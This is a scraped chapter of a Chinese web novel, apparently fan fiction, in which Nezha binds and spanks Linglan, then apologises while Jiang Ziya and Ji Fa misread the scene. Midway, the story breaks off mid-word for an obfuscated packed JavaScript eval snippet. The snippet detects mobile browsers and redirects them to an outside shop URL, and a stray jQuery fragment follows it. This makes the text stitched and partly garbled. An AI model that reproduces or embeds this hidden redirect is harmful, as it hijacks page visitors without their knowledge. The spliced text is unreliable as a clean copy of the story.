“哪吒?”
整个人被反按在床上那一刻,铃兰扭头看着不断逼近的哪吒,一时间心跳加速,面红耳赤。
“你……大白天的,咱们是不是……”
艰难的咽了口唾沫,铃兰只觉得口干舌燥,身子却渐渐湿润起来。
唔……紧张的出汗了。
实在是哪吒的压迫感太强。
美到雌雄莫辨的脸,微微挑起的眉尾,浅棕色的眼眸浸染上暗色,桃红的薄唇含着坏笑,就这么虚压在她身上。
指尖轻挑,铃兰顺从的抬起头,露出纤细的脖颈,顺着指尖划过的痕迹染上红晕。
视线被固定,只能看见青色的帐顶,但她脑子里却不断回想刚才哪吒朝着门窗打出一道灵光的动作。
稳,准,快!干脆利落,难道说,刚开荤的少年人都是这样急切的?
还是说,分别在即,舍不得她?
越猜测越羞涩的铃兰只觉得身下一凉,压不住心底涌上的娇羞,甜蜜的闭上眼睛,正要伸出手回抱哪吒,却感觉到一片柔软缠上双手。
呃,才第二次就玩这么花?
哪吒这方面也如此的天赋异禀?
铃兰眉头轻皱,但心态良好,甚至隐隐露出些期待,感觉到哪吒久久没有动静,甚至忍不住抬腿轻撞。
这一动作让哪吒从扒了衣裙的不适中回过神来,冷哼一声,高高扬起手,而后快速落下。
啪!
一巴掌落下,铃兰刷的一下睁开眼睛,脸上娇羞不再,面色却更红,被混天绫捆住的双手更是用力挣扎!
“嗷!哪吒,你丧心病狂!”
混天绫又不是普通的绳子,铃兰就是用上吃奶的力气也没挣开,倒是她挣扎的反应惹得哪吒心头火气又窜了上来,啪啪啪的连打几巴掌。
清脆的把掌声也打散了哪吒心底莫名冒出来的那点不适,反倒是冷脸抿嘴,有点像李靖教训金吒木吒那样,一边打一边问。
“还敢顶嘴!自己说的什么都忘了吗!”
“能耐了啊,连烟囱都能爬!”
“连师叔都骗上了,就这么想回去找那个野男人?嗯?说话!”
哪吒越说越气,一连三个问题,没留神就暴露了某些小心思,意识到这点的哪吒反手又是几巴掌,掩盖过去后停了手又沉声怒道。
“呜呜呜……你打死我算了!你想让我说什么?我不活了哇……”
挣扎不得,又觉得屁股都被打肿了的铃兰索性破罐子破摔,趴在枕头上就呜呜的哭。
或许刚开始还有做戏的成分,但哭着哭着就想到她莫名其妙的穿到这么个落后的朝代,这一年里,饥一顿饱一顿,好不容易靠着手搓的工具,改善生活了,结果捡了个惹不起的美貌哪吒,又过上了颠沛流离的日子。
铃兰哭的厉害,没一会功夫,枕头都湿透了。
本来还等着铃兰低头认错的哪吒这下慌了神,伸出手想去碰铃兰的脸,却又在触及到枕头的湿润后,无力的缩了回去。
“你别哭了啊,我刚才没用多少力气,就是吓唬吓唬你,你看看,连个印子都没有,真的。”
哪吒小心的看了眼铃兰的臀部,白里透红的,像熟透的桃子,但他敢用全身的修为发誓,绝对没有一点巴掌印!
“你快摸摸,我让混天绫松开了。”
双手被放开,铃兰第一反应就是扯过旁边的被子盖住身子,而后蜷起来继续哭。
甚至还扯了哪吒宽大的袖子擦眼泪。
对此,哪吒没说什么,也没抽回袖子,甚至还体贴的在床边坐了下来,身子微微前倾,更方便铃兰擦眼泪。
刚开始,哪吒还想着说不定等会铃兰自个收住情绪,就不哭了,却不想擦眼泪的袖子都能滴答水了,铃兰还在哭。
“哎,你别哭了啊,你哭的我都跟着疼了,真的,你快收了神通吧,我错了,真的,我给你认错了,行不行?”
这下子哪吒是真没招了,干脆改坐为跪,扯开领口,脱下已经湿透的衣袖,开始双手合十的给铃兰道歉。
他真错了!
早知道铃兰能哭成这样,他绝不会用这种法子!
可谁能想得到哇,以前看李靖打金吒木吒的时候,那两个挺能忍的啊,打得都皮开肉绽了也一声不吭,他还以为打巴掌这种事就跟吃饭喝水一样呢。
“哎,真的,铃兰,铃兰兰,好兰儿,我错了,我真错了,只要你不哭了,你想做什么就做什么,我绝不说一个字!”
头都快炸了的哪吒这会哪还顾得上什么野男人这种闲事?只恨自己没学来哮天犬那张哄人的嘴,还没把人哄住。
偏偏,就在这个时候,房门传来响声。
是有人在外面强行破开禁制!
“去去去,此处暂时不用你们守着!”
“哪吒,快开门,有什么话不能好好说?这青天白日的,你……哎呀,你快出来,贫道就在外面等你!”
姜子牙双手踹袖,老脸通红,用一根桃木盘着的发髻都开始冒烟了。
偏偏,一抬头,和姬发四目相对,耳边全是铃兰的哭声,偶尔还有两声哪吒的认错声,只觉得阐教的脸面都被丢进了!
这时候再想起哪吒那句“我的人”“同住一处”的混帐话,只恨自己明明都察觉到了天命有异,怎么就没多长个心眼!
屋里哪吒听到外面姜子牙的话,还以为又出了什么事,竟凑在铃兰耳边讨好的说道。
“好兰兰,快别哭了,你再哭下去师叔都该误会了。”
“对了,你不是喜欢乾坤圈么,来,我给你调好了带手上,金闪闪的,朝歌城里的夫人小姐都这么戴呢。”
哭声渐小,哪吒心头一喜,眉头舒展许多,余光瞥见手腕上的乾坤圈,当即摘下来套到铃兰手上,再接再厉的哄着。
屋外,姜子牙本以为哪吒听了他的话应该很快就出来了,却不想顺着窗户一看,只见哪吒的影子又靠近床里几分。
“孽障啊孽障,有辱师门啊……”
姜子牙气的手抖,倒是旁边的姬发不厚道的笑了笑。
“大王,你就别添乱了啊。”
姜子牙回头,刚好抓到姬发偷笑的模样,不由心累恳求。
“尚夫,少年慕艾,人之常情,哪吒兄弟他顶多是莽撞些,不至于不至于。”
姬发是真不觉得这事有何不妥,甚至私心觉得,若是能替哪吒和那位姑娘张罗一场婚事,顺势也把那位姑娘留在西岐,就更好不过了。
如此,就像抓住了烈马的缰绳,再不怕哪吒浑劲上来了,赌气跑了。
姜子牙一看姬发眼珠滴溜溜转哪还不知道他所想?只是哪吒情况特殊啊!莲藕化身的人,三魂七魄那是被强行钉进去的,哪有什么尘世情爱?
不成,此事他得和太乙师兄通个气,别回头真出了什么大事,就哪吒那性子,捅破天都算收敛了。
姜子牙晃着脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705344|208301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袋,扶着墙根,心事重重的离开小院,姬发却是又等了一小会,召来站在院外的小桃,含笑吩咐道“等会你听着屋里没动静了,送桶热水放门口。”
他虽然不是过来人,但身为王子,有些事不可说但门清儿。
屋里哪吒自然听得见外面的对话,虽然不明白他不过打人几巴掌怎么就扯到少年慕艾这种事上,但他也不会刻意去解释。
倒是后面姬发吩咐侍女准备热水倒是贴心,让哪吒对姬发的体贴很满意。
“好了,既然不哭了那就快起来吧,我可是听见武王吩咐侍女准备热水了,你也梳洗一二。”
原本蹭脏的脸倒是干净了,可那双笑盈盈的眼睛却肿的像核桃。
铃兰听了这话,面上更红,才坐起来又轱辘一下翻身钻进被子里,死活不出来了。
哪吒不明所以,热水而已,至于藏起来吗?
但哄人哄的心神俱疲的哪吒在确定铃兰不哭之后,实在不想再呆在这个屋子里了,丢下一句“师叔还有事找我”,转身跑了。
“小姐?热水奴婢已经准备好了,可要奴婢扶您过去?”
小桃刚带着人把备好的热水抬到门口,迎面就撞上了衣衫不整的哪吒从里面跑出来,善解人意的主动进屋,关心铃兰。
“我……不用了,我没事,真的,你先出去吧。”
被子里的铃兰声音嗡嗡的,还有哭过之后的沙哑,听着叫人心疼。
小桃不愿意离开,铃兰也不忍心让一个小姑娘一直守着自己,到底是扯开被子,捂着屁股钻了出来。
“都说了,我真没事,就是眼睛肿了,你们都误会了。”
虽然知道可能会越描越黑,但铃兰还是认真解释了。
另一边,哪吒步履飞快的来到正厅,正要问姜子牙找他什么事,就听到外面一顿吵杂的交谈声。
循声走出去,就看见已经死而复生的黄天化在白云童子的陪伴下回来了,正跟玉鼎师叔门下的杨戬师兄站在一处说话。
“呀,是哪吒表弟来了,表兄今日在这里谢过表弟的救命之恩了!”
黄天化也没想到,他们正聊着哪吒,哪吒就出来了。
“表兄?哼,你倒是不吃亏,再输几场,还是叫我表兄吧。”
黄天化与他的亲戚关系,哪吒并不否认,但不妨碍调侃两句。
“杨二哥,好久不见,没想到咱们昆仑山一别,今日竟在这西岐城内再见了。”
好歹同是阐教三代第子中的佼佼者,哪吒和杨戬都曾到玉虚宫听过师祖讲道的。
“哪吒,许久不见,我倒是听了你许多事,先恭喜你了。”
显然,他们虽然是才回西岐,但哪吒拉着铃兰在屋里胡闹的事他们已经都知道了。
“杨师兄提醒我了,表弟,弟妹呢?还不快给我引见引见,我也好谢谢她的救命之恩呀。”
黄天化那会虽然已经半死不活,但意识清楚,他可是清楚记得,要不是那位姑娘的提醒,说不准他凉透了哪吒也只会以为他练了什么功法。
“你想见呀?呵,想着吧,正事要紧,师叔,你方才有什么事要说,现在请说吧。”
哪吒对着黄天化不满的冷哼一声,转而看向姜子牙,旁边杨戬察觉到哪吒的反应,拉了一把还想看热闹的黄天化。
姜子牙见状,心道终于有个靠谱的能管住这两人了,满意的点点头,率先走进厅内,面色严肃的说起刚才得知的消息。